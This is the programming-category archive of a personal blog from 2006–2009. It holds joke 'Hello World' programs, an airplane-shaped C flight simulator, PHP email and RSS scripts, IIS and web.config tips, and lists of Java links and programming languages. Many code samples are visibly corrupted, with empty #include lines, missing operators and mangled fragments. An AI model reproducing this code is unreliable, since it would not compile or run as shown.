Archive for the Programming category


Humor: "Hello World" programs
July ' ' 13 ' ' 2009 @ 12:57 AM

A compilation of *Hello World programs* designed by
various categories of *developer* follows.


High School/Jr.High
===================

10 PRINT "HELLO WORLD"
20 END

First year in College
=====================
program Hello(input, output)
begin
writeln('Hello World')
end.

Senior year in College
======================
(defun hello
(print
(cons 'Hello (list 'World))))

New professional
================
#include
void main(void)
{
char *message[] = {"Hello ", "World"};
int i;

for(i = 0; i < 2; ++i)
printf("%s", message[i]);
printf("\n");
}

Seasoned professional
=====================
#include
#include

class string
{
private:
int size;
char *ptr;

public:
string() : size(0), ptr(new char('\0')) {}

string(const string &s) : size(s.size)
{
ptr = new char[size + 1];
strcpy(ptr, s.ptr);
}

~string()
{
delete [] ptr;
}

friend ostream &operator <<(ostream &, const string &);
string &operator=(const char *);
};

ostream &operator<<(ostream &stream, const string &s)
{
return(stream << s.ptr);
}

string &string::operator=(const char *chrs)
{
if (this != &chrs)
{
delete [] ptr;
size = strlen(chrs);
ptr = new char[size + 1];
strcpy(ptr, chrs);
}
return(*this);
}

int main()
{
string str;

str = "Hello World";
cout << str << endl;

return(0);
}

Master Programmer
=================
[
uuid(2573F8F4-CFEE-101A-9A9F-00AA00342820)
]
library LHello
{
// bring in the master library
importlib("actimp.tlb");
importlib("actexp.tlb");

// bring in my interfaces
#include "pshlo.idl"

[
uuid(2573F8F5-CFEE-101A-9A9F-00AA00342820)
]
cotype THello
{
interface IHello;
interface IPersistFile;
};
};

[
exe,
uuid(2573F890-CFEE-101A-9A9F-00AA00342820)
]
module CHelloLib
{

// some code related header files
importheader();
importheader();
importheader();
importheader("pshlo.h");
importheader("shlo.hxx");
importheader("mycls.hxx");

// needed typelibs
importlib("actimp.tlb");
importlib("actexp.tlb");
importlib("thlo.tlb");

[
uuid(2573F891-CFEE-101A-9A9F-00AA00342820),
aggregatable
]
coclass CHello
{
cotype THello;
};
};

#include "ipfix.hxx"

extern HANDLE hEvent;

class CHello : public CHelloBase
{
public:
IPFIX(CLSID_CHello);

CHello(IUnknown *pUnk);
~CHello();

HRESULT __stdcall PrintSz(LPWSTR pwszString);

private:
static int cObjRef;
};

#include
#include
#include
#include
#include "thlo.h"
#include "pshlo.h"
#include "shlo.hxx"
#include "mycls.hxx"

int CHello::cObjRef = 0;

CHello::CHello(IUnknown *pUnk) : CHelloBase(pUnk)
{
cObjRef++;
return;
}

HRESULT __stdcall CHello::PrintSz(LPWSTR pwszString)
{
printf("%ws\n", pwszString);
return(ResultFromScode(S_OK));
}

CHello::~CHello(void)
{

// when the object count goes to zero, stop the server
cObjRef--;
if( cObjRef == 0 )
PulseEvent(hEvent);

return;
}

#include
#include
#include "pshlo.h"
#include "shlo.hxx"
#include "mycls.hxx"

HANDLE hEvent;

int _cdecl main(
int argc,
char * argv[]
) {
ULONG ulRef;
DWORD dwRegistration;
CHelloCF *pCF = new CHelloCF();

hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);

// Initialize the OLE libraries
CoInitializeEx(NULL, COINIT_MULTITHREADED);

CoRegisterClassObject(CLSID_CHello, pCF, CLSCTX_LOCAL_SERVER,
REGCLS_MULTIPLEUSE, &dwRegistration);

// wait on an event to stop
WaitForSingleObject(hEvent, INFINITE);

// revoke and release the class object
CoRevokeClassObject(dwRegistration);
ulRef = pCF->Release();

// Tell OLE we are going away.
CoUninitialize();

return(0); }

extern CLSID CLSID_CHello;
extern UUID LIBID_CHelloLib;

CLSID CLSID_CHello = { /* 2573F891-CFEE-101A-9A9F-00AA00342820 */
0x2573F891,
0xCFEE,
0x101A,
{ 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
};

UUID LIBID_CHelloLib = { /* 2573F890-CFEE-101A-9A9F-00AA00342820 */
0x2573F890,
0xCFEE,
0x101A,
{ 0x9A, 0x9F, 0x00, 0xAA, 0x00, 0x34, 0x28, 0x20 }
};

#include
#include
#include
#include
#include
#include "pshlo.h"
#include "shlo.hxx"
#include "clsid.h"

int _cdecl main(
int argc,
char * argv[]
) {
HRESULT hRslt;
IHello *pHello;
ULONG ulCnt;
IMoniker * pmk;
WCHAR wcsT[_MAX_PATH];
WCHAR wcsPath[2 * _MAX_PATH];

// get object path
wcsPath[0] = '\0';
wcsT[0] = '\0';
if( argc 1) {
mbstowcs(wcsPath, argv[1], strlen(argv[1]) + 1);
wcsupr(wcsPath);
}
else {
fprintf(stderr, "Object path must be specified\n");
return(1);
}

// get print string
if(argc 2)
mbstowcs(wcsT, argv[2], strlen(argv[2]) + 1);
else
wcscpy(wcsT, L"Hello World");

printf("Linking to object %ws\n", wcsPath);
printf("Text String %ws\n", wcsT);

// Initialize the OLE libraries
hRslt = CoInitializeEx(NULL, COINIT_MULTITHREADED);

if(SUCCEEDED(hRslt)) {

hRslt = CreateFileMoniker(wcsPath, &pmk);
if(SUCCEEDED(hRslt))
hRslt = BindMoniker(pmk, 0, IID_IHello, (void **)&pHello);

if(SUCCEEDED(hRslt)) {

// print a string out
pHello->PrintSz(wcsT);

Sleep(2000);
ulCnt = pHello->Release();
}
else
printf("Failure to connect, status: %lx", hRslt);

// Tell OLE we are going away.
CoUninitialize();
}

return(0);
}

Apprentice Hacker
===================

#!/usr/local/bin/perl
$msg="Hello, world.\n";
if ($#ARGV >= 0) {
while(defined($arg=shift(@ARGV))) {
$outfilename = $arg;
open(FILE, ">" . $outfilename) || die "Can't write $arg: $!\n";
print (FILE $msg);
close(FILE) || die "Can't close $arg: $!\n";
}
} else {
print ($msg);
}
1;

Experienced Hacker
===================

#include
#define S "Hello, World\n"
main(){exit(printf(S) == strlen(S) ? 0 : 1);}

Seasoned Hacker
===================

% cc -o a.out ~/src/misc/hw/hw.c
% a.out

Guru Hacker
===================

% cat
Hello, world.
^D

New Manager
===================

10 PRINT "HELLO WORLD"
20 END

Middle Manager
===================

mail -s "Hello, world." bob@b12
Bob, could you please write me a program that prints "Hello, world."?
I need it by tomorrow.
^D

Senior Manager
===================

% zmail jim
I need a "Hello, world." program by this afternoon.

Chief Executive
===================

% letter
letter: Command not found.
% mail
To: ^X ^F ^C
% help mail
help: Command not found.

% damn!
!: Event unrecognized
% logout

-----------------

Source

1 Comment





WiiChuck can control 3D Studio Max
July ' ' 08 ' ' 2008 @ 10:13 PM



Now you can have your Wii and use Studio Max too! Fusing work and play, the hack uses Processing, Midi Yoke, Ableton Live and the 3D Studio Max Motion Capture Controller to transmit movement from the WiiChuck to 3D Studio Max via MIDI

No Comments





The Java proportionality
March ' ' 10 ' ' 2008 @ 01:42 AM





No Comments





Using Microsoft Excel as a 3D graphics engine
March ' ' 08 ' ' 2008 @ 09:34 PM



Excel is an all-round office tool, but probably it is unknown that it has a bunch of features that makes Excel a high-class 3D graphics engine. the embedded rendering subsystems and the revolutionary approach which might just cause a paradigm shift. You will discover that Excel effectively and efficiently incorporates practicality, tons of features, the multi-platform portability and the high performance with the unique and futuristic 3D engine features.

No Comments





Did my own RSS Reader - Take a look
March 02 2008 @ 02:35 AM

I usually look for customization when I register at interesting websites, like google reader, wordpress and when I get bored, I build my own application, that help me in achieving, my requirement. Yes I did my own RSS Reader. Its very simple and still features coming in.

No Comments





.Net free of charge for commercial usage
August 15 2007 @ 06:26 AM

Microsoft has provided .Net free of charge not many know about this, as long as you are running it on a valid copy of windows. You can develop applications, but just have to download the framework, compliers, the CLR.

First you will have to download the visual studio express. Microsoft has set up a website to get you started with .Net too.

No Comments





Reddit algorithm
June 03 2007 @ 05:21 AM

Its weird though, but Reddit algorithm works with the number of visits to the number of votes.

Assume a news item gets 8-12 points and about 500 users click the link the the news item is likely to reach the front page as the 25th leading post along with the other posts that have a 3 digit vote.

And a news item is likely to stay on the rising page for over an hour with zero points, this clearly shows that the number of clicks is the major criteria of the post being on the rising and on the front page.

Thats weird, but it is very true.

No Comments





C-based flight simulator with code shaped like an airplane
May 06 2007 @ 05:18 AM



#include
#include
#include
#include
double L ,o ,P
,_=dt,T,Z,D=1,d,
s[999],E,h= 8,I,
J,K,w[999],M,m,O
,n[999],j=33e-3,i=
1E3,r,t, u,v ,W,S=
74.5,l=221,X=7.26,
a,B,A=32.2,c, F,H;
int N,q, C, y,p,U;
Window z; char f[52]
; GC k; main(){ Display*e=
XOpenDisplay( 0); z=RootWindow(e,0); for (XSetForeground(e,k=XCreateGC (e,z,0,0),BlackPixel(e,0))
; scanf("%lf%lf%lf",y +n,w+y, y+s)+1; y ++); XSelectInput(e,z= XCreateSimpleWindow(e,z,0,0,400,400,
0,0,WhitePixel(e,0) ),KeyPressMask); for(XMapWindow(e,z); ; T=sin(O)){ struct timeval G={ 0,dt*1e6}
; K= cos(j); N=1e4; M+= H*_; Z=D*K; F+=_*P; r=E*K; W=cos( O); m=K*W; H=K*T; O+=D*_*F/ K+d/K*E*_; B=
sin(j); a=B*T*D-E*W; XClearWindow(e,z); t=T*E+ D*B*W; j+=d*_*D-_*F*E; P=W*E*B-T*D; for (o+=(I=D*W+E
*T*B,E*d/K *B+v+B/K*F*D)*_; p ]== 0|K K)N=1e4; else{ q=W/K *4E2+2e2; C= 2E2+4e2/ K
*D; N-1E4&& XDrawLine(e ,z,k,N ,U,q,C); N=q; U=C; } ++p; } L+=_* (X*t +P*M+m*l); T=X*X+ l*l+M *M;
XDrawString(e,z,k ,20,380,f,17); D=v/l*15; i+=(B *l-M*r -X*Z)*_; for(; XPending(e); u *=CS!=N){
XEvent z; XNextEvent(e ,&z);
++*((N=XLookupKeysym
(&z.xkey,0))-IT?
N-LT? UP-N?& E:&
J:& u: &h); --*(
DN -N? N-DT ?N==
RT?&u: & W:&h:&J
); } m=15*F/l;
c+=(I=M/ l,l*H
+I*M+a*X)*_; H
=A*r+v*X-F*l+(
E=.1+X*4.9/l,t
=T*m/32-I*T/24
)/S; K=F*M+(
h* 1e4/l-(T+
E*5*T*E)/3e2
)/S-X*d-B*A;
a=2.63 /l*d;
X+=( d*l-T/S
*(.19*E +a
*.64+J/1e3
)-M* v +A*
Z)*_; l +=
K *_; W=d;
sprintf(f,
"%5d %3d"
"%7d",p =l
/1.7,(C=9E3+
O*57.3)%0550,(int)i); d+=T*(.45-14/l*
X-a*130-J* .14)*_/125e2+F*_*v; P=(T*(47
*I-m* 52+E*94 *D-t*.38+u*.21*E) /1e2+W*
179*v)/2312; select(p=0,0,0,0,&G); v-=(
W*F-T*(.63*m-I*.086+m*E*19-D*25-.11*u
)/107e2)*_; D=cos(o); E=sin(o); } }



No Comments





Need to pass cookies between machines on the same LAN?
May 06 2007 @ 04:54 AM

Then in your web.config use an authentication section similar to the following:


name="myCookie"
timeout="20"
loginUrl="Default.aspx"
defaultUrl="Default.aspx"
protection="All"
path="/"
requireSSL="false"
slidingExpiration="true"
cookieless="UseDeviceProfile"
domain="domain.com"
enableCrossAppRedirects="true"
/>
Internet Explorer will only pass cookies from one site to another if they have the domain cookie attribute set; i.e. the Fully Qualified Domain Name is required. Moreover all GET/POST must use the FQDN, as any Response.Redirect. The reason behing this is security, to make sure that a cookie is not passed to another site, thus exposing to cookies stealing.

No Comments





Word 2007 File Seems To Be Deleted When You Open And Save It Using DSOFramer
March 02 2007 @ 11:23 PM

If you are using DSOFramer sample to host Office Documents, and tried to open and save Word 2007 documents in this manner, guess what !! the file seems to be deleted !

Using Process Monitor from sysinternals it was noted that files were being moved to a temp directory and then while saving it, changes were being made in it..strange!

The DSOFramer code had the IPersist:Save() is returning S_OK, Looking at the Word 2007 code, it seemed like a bug in the implementation of IPersist:Save()


Here is the modified DSOFramer code



if (SUCCEEDED(hr = m_pole->QueryInterface(IID_IPersistFile, (void**)&pipfile)))
{
hr = pipfile->Save(pwszFile, FALSE);
pipfile->Release();
//CODE MODIFICATION START
if (SUCCEEDED(hr) && !FFileExists(pwszFile))
{
//We should come here only in case of Word 2007.
CopyFileW(pwszCurPath, pwszFile, TRUE);
}
//CODE MODIFICATION END
}


No Comments





How do you rate a programmer, even better rate yourself to other programmers if you are a programmer
February 11 2007 @ 02:30 AM

Me a programmer and I know JavaScript, PHP, Java, C, C++, VB, Ruby, Perl. Enough of me What about you. How many languages do you know.

So what makes you or me a good programmer.

- Is it the number of programming languages mastered and can be used with fluency.

- Is it the applications created with these languages.

- Is it that the applications created with the languages you know are liked by the end-users.

- Is it the applications are better from what others have created.

- Is it the logic behind the coding or way the code is written.

- Is it the UI, well for one thing. The credit for the UI has to be given to graphic designers

- Speaking of graphics, could one be a programmer and be an expert in graphics. That would be great because that person would do 2 jobs in one or will have a good understanding when coding as it will be easy on the graphic designer.

3 Comments





PHP script - Sending Email (Text/HTML/Attachments)
February 11 2007 @ 01:03 AM

Sending a Simple Text Email

//define the receiver of the email
$to = 'youraddress@example.com';
//define the subject of the email
$subject = 'Test email';
//define the message to be sent. Each line should be separated with \n
$message = "Hello World!\n\nThis is my first mail.";
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com";
//send the email
$mail_sent = @mail( $to, $subject, $message, $headers );
//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed"
echo $mail_sent ? "Mail sent" : "Mail failed";
?>


Sending HTML Email

//define the receiver of the email
$to = 'youraddress@example.com';
//define the subject of the email
$subject = 'Test HTML email';
//create a boundary string. It must be unique
//so we use the MD5 algorithm to generate a random hash
$random_hash = md5(date('r', time()));
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com";
//add boundary string and mime type specification
$headers .= "\r\nContent-Type: multipart/alternative; boundary=\"PHP-alt-".$random_hash."\"";
//define the body of the message.
ob_start(); //Turn on output buffering
?>
--PHP-alt-
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello World!!!
This is simple text email message.

--PHP-alt-
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello World!


This is something with HTML formatting.



--PHP-alt---
//copy current buffer contents into $message variable and delete current output buffer
$message = ob_get_clean();
//send the email
$mail_sent = @mail( $to, $subject, $message, $headers );
//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed"
echo $mail_sent ? "Mail sent" : "Mail failed";
?>

Sending Email with Attachment



//define the receiver of the email
$to = 'youraddress@example.com';
//define the subject of the email
$subject = 'Test HTML email';
//create a boundary string. It must be unique
//so we use the MD5 algorithm to generate a random hash
$random_hash = md5(date('r', time()));
//define the headers we want passed. Note that they are separated with \r\n
$headers = "From: webmaster@example.com\r\nReply-To: webmaster@example.com";
//add boundary string and mime type specification
$headers .= "\r\nContent-Type: multipart/alternative; boundary=\"PHP-alt-".$random_hash."\"";
//define the body of the message.
ob_start(); //Turn on output buffering
?>
--PHP-alt-
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello World!!!
This is simple text email message.

--PHP-alt-
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello World!


This is something with HTML formatting.



--PHP-alt---
//copy current buffer contents into $message variable and delete current output buffer
$message = ob_get_clean();
//send the email
$mail_sent = @mail( $to, $subject, $message, $headers );
//if the message is sent successfully print "Mail sent". Otherwise print "Mail failed"
echo $mail_sent ? "Mail sent" : "Mail failed";
?>




No Comments





Configure SSL in IIS 7.0
January 31 2007 @ 12:54 AM

1. Open IIS Manager and click on the Web Server on the Connection Pane on the left.
2. On the middle Pane under the IIS section you will see a bunch of options. Select the "Server Certificates".
3. On the resulting page the certs in your LocalMachine->My store should be automatically listed in the Middle Pane. If your server cert is something else, that you have exported then use the "Import..." option on the right pane to get your certificate.
4. Now click on the Web Site on the Connection Pane on the left. On the right pane select bindings and click "Add". Select "https" for the Type, the default port is 443 which you can change and select your Certificate in the SSL Certificate list. Click OK.

No Comments





Whats the faulty code in Reddit
January 28 2007 @ 12:31 AM

If there is a spam post reddit effectively blocks it, which is very good as it saves us all a lot of time and energy not going through the headlines. But the fault code comes in the new news section displaying the all the new posts (not the rising news). The numbering of the posts is missing as one can know that that there is spam blocked. Some numbers will be missing, this is the faulty code. Even though the spam is blocked the numbers should not be missing and should be a continuous count.

Moreover it looks good. and Reddit can put up the number of spams blocked as a counter. This sure is to get smiles on some bloggers who have trouble with the spam comments. :)

No Comments





Placing video into powerpoint
January 08 2007 @ 11:30 PM

Edit vob files in Ulead Videostudio 9 or 10. Select ‘Insert media file to Timeline’ from the File menu then choose ‘Insert DVD/DVD-VR’ from the submenu. After successfully importing and editing the video, click the Share tab and choose Create Video file from the options panel.

Powerpoint supports a variety of video formats including avi, mpeg2 and wmv. To maintain quality and provide the best playback performance on a PC, wmv is probably the best option. Choose a profile that either matches, or is close to the resolution of the original file; for example, UK Pal video is a resolution of 720 x 576.

No Comments





Simple automated RSS feed with PHP and MySQL
November 21 2006 @ 12:58 AM

This is the most simple method of creating a RSS feed for your website, this would work if you have php, mysql on your webserver. Now as you update your index page the RSS will also automatically update

Put the below code(link) between the
<head></head>
tag and the rest of the code in the php tags (I have not put those) in the index.php file.

<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="feeds.xml">


Here is the sql statement to select posts from the table, I have put the limit to 10 tables, you can change this to any number.


mysql_select_db($database_name, $connection_string);
$query_table = "put in your select statement here limit 10";
$table = mysql_query($query_table, $connection_string) or die(mysql_error());
$row_table = mysql_fetch_assoc($table);
$totalRows_table = mysql_num_rows($table);

first create a empty file feeds.xml. The below code is for creating the xml file.

$myFile = "feeds.xml";
$fh = fopen($myFile, 'w') or die("can't open file");
$xml = "<?xml version=\"1.0\" ?>\r\n<rss version=\"2.0\">\r\n";
$xml .= "<channel>\r\n";
$xml .= "<title>Blog name ]]><![CDATA[";
$xml .= "</title>\r\n";
$xml .= "<link>Blog url ]]><![CDATA[";
$xml .= "</b></font></link>\r\n";
$xml .= "<description>blog description</description>\r\n";
do {
$xml .= "<item>\r\n";
$xml .= "<title>" ;
$xml .= $row_table['blog_title'];
$xml .= "</title>\r\n";
$xml .= "<category>";
$xml .= $row_table['blog_category'];
$xml .= "</category>\r\n";
$xml .= "<description><![CDATA[";
$xml .= $row_table['blog_post'];
$xml .= "]]></description>\r\n";
$xml .= "<link>";
$xml .= "full post view url" .$row_table['post_name']. "</link>\r\n";
$xml .= "<guid isPermaLink='true'>full post view url" .$row_table['post_name']."</guid>\r\n";
$xml .= "</item>\r\n";
} while ($row_table = mysql_fetch_assoc($table));
$xml .= "</channel>\r\n</rss>\r\n";
fwrite($fh, $xml);
fclose($fh);



No Comments





Exhaustive Java link for programmers
November 11 2006 @ 03:21 AM

JARS.COM, Java review service
Java Application Developer Central
Sun JavaBeans home page
java.blogs
Javacrawl Java and J2EE news
Java Exchange "Java Servlet Technologies" Home of Db Connection Broker
Java FAQs Daily Tips
JavaForge
Java For U
Javageeks
Java, The Illusion
Java-Linux
java.net "The source for Java technology collaboration"
JavaOne Online
Javapolis
Javaref
WIRED 3.12:The Java Saga - by David Bank Good background piece about Java.
Java Server Faces (JSF) project home
JSF Central
Java Server Pages (JSP)
JavaWorld
Java Tips
Java Tips at Javaworld




Javootoo "javootoo.com is the Look and Feel Source for both Java developers and end-users. "
JBook
jCIFS Implementing CIFS in Java
JConfig class library
JDO Central Java Data Objects
JDocs
JDOM
Jess, the Rule Engine for the Java Platform
Jfree.org Home of JFreeReport and JFreeChart
JGraph
JGuru
Jigsaw overview
The JPackage project
JMX (Java Management eXtensions) tutorial
JRoller Free, Java-powered weblogs
JUnit
Keel Meta Framework
KickJava
JavaLanguage Specification
Lessons Learned Doing Java Programming for my Web Site
Linux Java Tips and Hints Page
Java Lobby
Apache Log4j
Making sense of Java
Maven
Media Programming by Bill Day




MegaMek "a networked Java clone of BattleTech"
Message Driven Beans Tutorial
Middlegen
Mining Co. Focus on Java
MyCGIServer Free application deployment
Tor Norbye's Weblog
Object Design Home of Objectstore "Database for the Web"
Oracle Business Components for Java
(EJB)
Oracle SQLJ and JDBC
OpenCMS Open Source Website Content Management System
OSS through Java Initiative
package gnu.regexp; Regular expressions for Java
Patterns Central
Piccolo "Welcome to Piccolo! It is a revolutionary way to create robust, full-featured graphical applications in Java, with striking features such as zooming and multiple representation. Piccolo is an extensive toolkits based on the Java2D API. And best of all, it is free and open source"
PJA (Pure Java AWT) Toolkit
PoolMan Object Pooling Library and JDBC Driver
Portlet Open Source Trading Site
PostgreSQL JDBC Driver Homepage
Processing XML with Java
Online book
Java Programmer Certification Exam And Training
The Java Programmers Source Book
Protomatter open source Java classes
Connection pool, object pool, more.
Java Questions Bank
Java Ranch
RIFE web application framework
The Roller Weblogger
Rules4J rule engine
Separating Java hype from reality
Secrets Of The Masters: Core Java Interview Questions
Serverpages.com"The Resource Directory for Server Side Scripting Technologies"
Servlets.com
JavaSkyline
SpringJava/J2EE application framework


Straight Talking Java mailing list


JakartaStruts


Sun's Java pages
The Swing Connection
Swing Online book
Swing Labs
Tapestry
TheServerSide.com "Your J2EE Community"
Thinking in JavabyBruce Eckel

Thinlet
"Thinlet is a GUI toolkit, a single Java class, parses the hierarchy and properties of the GUI, handles user interaction, and calls business logic. Separates the graphic presentation (described in an XML file) and the application methods (written as Java code)."

JakartaVelocity

Trails
"Trails is a domain driven development framework in the spirit of Ruby on Rails or Naked Objects"

Wicket web application framework

Working with XML
The Java XML Tutorial

3 Comments





Alphabetical list of programming languages
November 07 2006 @ 10:45 PM

<bigwig>


<bigwig> is a high-level programming language for developing interactive
Web services. Complete specifications are compiled into a conglomerate of
lower-level technologies such as HTML, CGI Scripts, JavaScript, HTTP
Authentication, and Java Applets.


The <bigwig> Project

A+


[...] It embodies a rich set of functions and operators, a modern graphical
user interface with many widgets and automatic synchronization of widgets and
variables, asynchronous execution of functions associated with variables and
events, dynamic loading of user compiled subroutines, and many other features.
Execution is by a rather efficient interpreter. A+ was created at Morgan
Stanley. Primarily used in a computationally-intensive business environment,
many critical applications written in A+ have withstood the demands of real
world developers over many years. Written in an interpreted language, A+
applications tend to be portable.


A+: a programming language for actual programmers

ABC


ABC is an interactive programming language and
environment for personal computing, originally intended as a good
replacement for BASIC. It was designed by first doing a task analysis of
the programming task.


ABC is easy to learn (an hour or so for someone who has already
programmed), and yet easy to use. Originally intended as a language for
beginners, it has evolved into a powerful tool for beginners and experts
alike.


A Short Introduction to the ABC Language

Ada


Ada is a computer programming language originally designed to support
the construction of long-lived, highly reliable software systems. Its
design emphasizes readability, avoids error-prone notation, encourages
reuse and team coordination, and it is designed to be
efficiently implementable.


A significant advantage of Ada is its reduction of debugging time. Ada
tries to catch as many errors as reasonably possible, as early as
possible. Many errors are caught at compile-time by Ada that aren't
caught or are caught much later by other computer languages. Ada
programs also catch many errors at run-time if they can't be caught at
compile-time (this checking can be turned off to improve performance
if desired). In addition, Ada includes a problem (exception) handling
mechanism so that these problems can be dealt with at run-time.


The Home of the Brave Ada Programmers, AdaPower.com

Alan


Tool for creating interactive fiction. Alan has focused more on the authoring
aspects than on the programming.


The Alan Home Pages

ALF


ALF is a language which combines functional and logic programming
techniques. The foundation of ALF is Horn clause logic with equality which
consists of predicates and Horn clauses for logic programming, and functions
and equations for functional programming.


The ALF System

Algol



The youngest, and probably the most influental of the three big, classic
languages. (The other two being Lisp and Fortran.)


Open Directory's entry on Algol

Alloy


ALLOY is a higher level parallel programming language appropriate
for programming massively parallel computing systems. It is based
on a combination of ideas from functional, object oriented and logic
programming languages.


Alloy resources at ftp.funet.fi

Amiga E


E is a powerful and flexible object oriented / procedural / unpure
functional higher programming language, mainly influenced by languages such
as C++, Ada, Lisp etc., and Amiga E a very fast compiler for it, with
features such as speed of >20000 lines/minute on a 7 Mhz amiga, inline
assembler and linker integrated into compiler, large set of integrated
functions, great module concept with v40 includes as modules, flexible
type-system, quoted expressions, immediate and typed lists, parametric and
inclusion polymorphism, exception handling, inheritance, data-hiding,
methods, multiple return values, default arguments, register allocation,
fast memory management, unification, LISP-Cells, gui-toolkit, (macro-)
preprocessor, very intuitive and powerful source-level debugger, easy
.library linking, and much more...


Amiga E on the Web

AMPL


A comprehensive and powerful algebraic modeling language for
inear and nonlinear optimization problems, in discrete or continuous
variables.


AMPL Modeling language for Mathematical programming

APL


Array Processing Language.



APL FAQ at University of Waterloo

AWK


awk is a programming language, named after its three original authors:



  • Alfred V. Aho
  • Brian W. Kernighan
  • Peter J. Weinberger

they write:
"Awk is a convenient and expressive programming language that can be
applied to a wide variety of computing and data-manipulation tasks."


The GNU Awk User's Guide

B


B is a computer language intended for recursive, primarily non-numeric applications typified by system programming.


User's Reference to B

BASIC


BASIC (standing for Beginner's All Purpose Symbolic Instruction
Code) is a system developed at Dartmouth College in 1964 under the
directory of J. Kemeny and T. Kurtz. It was implemented for the
G.E.225. It was meant to be a very simple language to learn and also
one that would be easy to translate. Furthermore, the designers wished
it to be a stepping-stone for students to learn on of the more powerful
languages such as FORTRAN or ALGOL.


The BASIC Archives, XST

BCPL



BCPL is a simple typeless language that was designed in 1966 by Martin Richards
and implemented for the first time at MIT in the Spring of 1967.


BCPL, Martin Richards's BCPL Reference Manual, 1967

BETA


Object-oriented programming originated with the Simula language
developed by Kristen Nygaard in Oslo in the 1960s. Since then, OOP has achieved
great prominence with the commercial success of C++, Smalltalk, and Eiffel.
Now, from the birthplace of OOP, comes the new BETA programming language, for
which this book is both tutorial and reference. It provides a clear
introduction to the basic concepts of OOP and an easy learning curve from
simple programs to more advanced applications in BETA for students and
programmers.


The BETA Home Page

Bliss


Rather low level language used, among other things, in the development
of VMS.


BLISS Language Reference Manual

Blue


Blue is an object-oriented programming language that was developed especially
for teaching. It runs in an integrated programming enviroment that includes
a graphical program structure editor, a text editor, a debugger, a library
browser, and more. It was developed for teaching ob[j]ect-oriented concepts
to first-year students.


The Blue Page - Teaching Object Oriented Programming

Business Rules!


Business Rules! is the progeny of Workstation Basic. It will still support
legacy applications and still maintains the emphasis on using minimal system
resources that was so important early on. It has grown to incorporate many new
technologies including advanced indexing, the ability to access
platform-dependant devices directly with generic syntax calls, output spooling,
externalization of functions (libraries), many platform-independent commands
that mimic O.S. commands, Windows compatibility features and functionality, and
much more.


Business Rules!

C


According to The New Hacker's Dictionary:


C /n./


1. The third letter of the English alphabet. 2. ASCII 1000011. 3. The
name of a programming language designed by Dennis Ritchie during
the early 1970s and immediately used to reimplement Unix; so called
because many features derived from an earlier compiler named `B' in
commemoration of its parent, BCPL. (BCPL was in turn descended from an
earlier Algol-derived language, CPL.) Before Bjarne Stroustrup settled
the question by designing C++, there was a humorous debate over whether
C's successor should be named `D' or `P'. C became immensely popular
outside Bell Labs after about 1980 and is now the dominant language in
systems and microcomputer applications programming. See also languages
of choice, indent style.


C is often described, with a mixture of fondness and disdain varying
according to the speaker, as "a language that combines all the
elegance and power of assembly language with all the readability and
maintainability of assembly language".


C Resources on the web

C++



An extension to the C language developed primarily by
B.Stroustrup at AT&T Bell Laboratories: it supports object-oriented
programming among other enhancements.


WWW C++ Information

Cecil


Cecil is a purely object-oriented language intended to support rapid
construction of high-quality, extensible software. Cecil incorporates
multi-methods, a simple prototype-based object model, a mechanism to support a
structured form of computed inheritance, module-based encapsulation, and a
flexible static type system which allows statically- and dynamically-typed code
to mix freely.


UW Cecil/Vortex Project

Centum


Centum is an interpreted language that is intended to make it easy to
express algorithms in, and is a hybrid between functional programming
and object oriented programming.



Centum

Charity


Charity is functional in style. That is, programmers familiar with declarative
paradigms (functional and logic programmers) should find Charity easy to grasp.


Charity is based on the theory of strong categorical datatypes. These are
divided into two subclasses: the inductive datatypes (built up by constructors
in the familiar way) and the coinductive datatypes (broken down by
destructors). Programs over these datatypes are expressed by folds
(catamorphisms) and by unfolds (anamorphisms), respectively.


CHARITY - Home Page

CHILL


CHILL (CCITT High Level Language) is a general procedural programming
language which is mainly used in the field of telecommunications. As a general
programming language it is by no means limited to this field. A number of CHILL
programming environments are also implemented in CHILL.


CHILL Homepage

CLAIRE


CLAIRE is a high-level functional and object-oriented language with
advanced rule processing capabilities. It is intended to allow the programmer
to express complex algorithms with fewer lines and in an elegant and readable
manner.


CLAIRE - The Art of Elegant Programming

Clean


Lazy functional language.


Clean Homepage

COBOL



COmmon Business Oriented Language. Sometimes referred to as a
subset of english, rather than a programming language.


Kobol, Fujitsu COBOL, Flexus COBOL

COMAL


COMon Algorithmic Language. Originally intended as a language for beginners.
A language similar to BASIC with Pascal-like structure.


UniComal

Corn



This language is designed for modeling concurrency and advanced
computation. It provides lazy evaluation in multithreating[sic] programs,
with object-oriented and functional style of semanthic.


CORN Programming language

cT


The cT programming language is an algorithmic language like C, Pascal,
Fortran, and Basic, but greatly enhanced by multimedia capabilities, including
easy-to-use support for color graphics, mouse interactions, and even movies in
QuickTime or Video for Windows format.


The cT Programming Language Archives

D


An evolutionary language that fuses parts of C,C++ and Java.


The D Programming Language, Book about D, D programming reference, D frontend for GCC, D compiler

DCL


«DIGITAL Command Language.» Used as the equivalent of a shell on
the VMS operating system.


OpenVMS Documentation

Dylan


Dylan is a general-purpose high-level programming language, designed for
use both in application and systems programming. Dylan includes garbage
collection, run-time type checking, selective dynamism, error recovery,
and a module system. These features simplify programming and support
attractive debugging and development tools.


Gwydion Dylan

E



[...] secure distributed object platform and scripting language for writing
Capability-Based Smart Contracts.


ERights.Org

Eiffel


Eiffel is an advanced object-oriented programming language that
emphasizes the design and construction of high-quality and reusable
software.


SmallEiffel The GNU Eiffel Compiler

elastiC


elastiC is a portable high-level object-oriented interpreted language with a C
like syntax.


elastiC World

Elf


Elf is a constraint logic programming language based on the LF Logical
Framework. [...] Elf is a uniform meta-language for specifying, implementing,
and proving properties of programming languages and logics.


The Elf Meta-Language

Erlang


Erlang System/OTP is a platform-independent development environment as well as
a runtime platform pioneered by Ericsson [...]


Erlang Systems, Erlang

Euphoria


